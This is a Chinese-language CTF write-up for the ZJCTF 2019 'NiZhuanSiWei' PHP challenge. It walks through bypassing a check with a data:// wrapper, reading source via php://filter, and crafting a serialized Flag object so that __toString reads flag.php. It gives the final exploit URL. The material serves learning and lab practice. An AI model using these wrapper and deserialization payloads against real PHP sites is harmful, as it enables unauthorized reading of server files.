# [ZJCTF 2019] NiZhuanSiWei
题目考察 **PHP 伪协议** 和 **反序列化**。
---
## 1. 观察源码
题目直接给出了 PHP 源码:
```php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
```
可以看到,需要通过 GET 传入三个参数:
- `text`
- `file`
- `password`
---
## 2. 第一层:构造 `text`
这里要满足:
```php
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
```
也就是说:
- `text` 不能为空
- `file_get_contents($text)` 读取到的内容必须是 `welcome to the zjctf`
这里可以用 `data://` 伪协议来构造数据。
```php
payload: ?text=data://text/plain,welcome to the zjctf
```
这样 `file_get_contents()` 读到的内容就是:
```php
welcome to the zjctf
```
从而通过第一层判断。
---
## 3. 第二层:分析 `file` 和 `password`
继续往下看:
```php
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
```
这里有两个关键点:
1. `file` 参数里不能直接出现 `flag`
2. 存在 `include($file)` 和 `unserialize($password)`
而且题目还提示了一个文件:`useless.php`
这时很自然就想到,先把 `useless.php` 的源码拿到。
---
## 4. 利用 `php://filter` 读源码
这里可以构造:
```php
payload: file=php://filter/read=convert.base64-encode/resource=useless.php
```
这样可以拿到一段 base64 编码后的源码:
```text
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=
```
解码后得到:
```php
<?php
class Flag{ //flag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
```
---
## 5. 反序列化利用
看到这里思路就很清楚了。
原代码中有:
```php
$password = unserialize($password);
echo $password;
```
如果我们传进去的是一个 `Flag` 对象,那么:
- `unserialize($password)` 会还原对象
- `echo $password` 会触发 `__toString()`
- 而 `__toString()` 里会执行:
```php
file_get_contents($this->file)
```
所以只要让:
```php
$this->file = "flag.php"
```
就可以读取 `flag.php` 的内容。
---
## 6. 构造序列化字符串
本地写一段代码生成序列化结果:
```php
<?php
class Flag{
public $file = "flag.php";
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = new Flag();
echo serialize($password);
?>
```
得到结果:
```php
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```
---
## 7. 最终 payload
最终构造:
```text
http://xxx/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
```
访问之后执行流程就是:
1. `text` 用 `data://` 通过校验
2. `file=useless.php` 不包含 `flag`,成功通过过滤
3. `include(useless.php)` 加载 `Flag` 类
4. `unserialize($password)` 还原出 `Flag` 对象
5. `echo $password` 触发 `__toString()`
6. 读取 `flag.php`
查看源码即可拿到 flag。
---
## 8. 知识点简单总结
### `data://`
`data://` 可以让我们直接构造一段可读取的数据。
比如:
```php
data://text/plain,hello
```
被 `file_get_contents()` 读取后,得到的就是 `hello`。
---
### `php://filter`
`php://filter` 常用来读源码。
比如:
```php
php://filter/read=convert.base64-encode/resource=useless.php
```
表示读取 `useless.php`,并把内容进行 base64 编码输出。
---
## 9. 总结
这题整体思路不算复杂,关键就是把几步串起来:
- 用 `data://` 绕过第一层判断
- 用 `php://filter` 读取 `useless.php` 源码
- 找到 `Flag` 类
- 通过反序列化构造对象
- 利用 `echo` 触发 `__toString()`,最终读取 `flag.php`
这题很经典,属于 **PHP 伪协议 + 反序列化 + 魔术方法利用** 的结合题。
---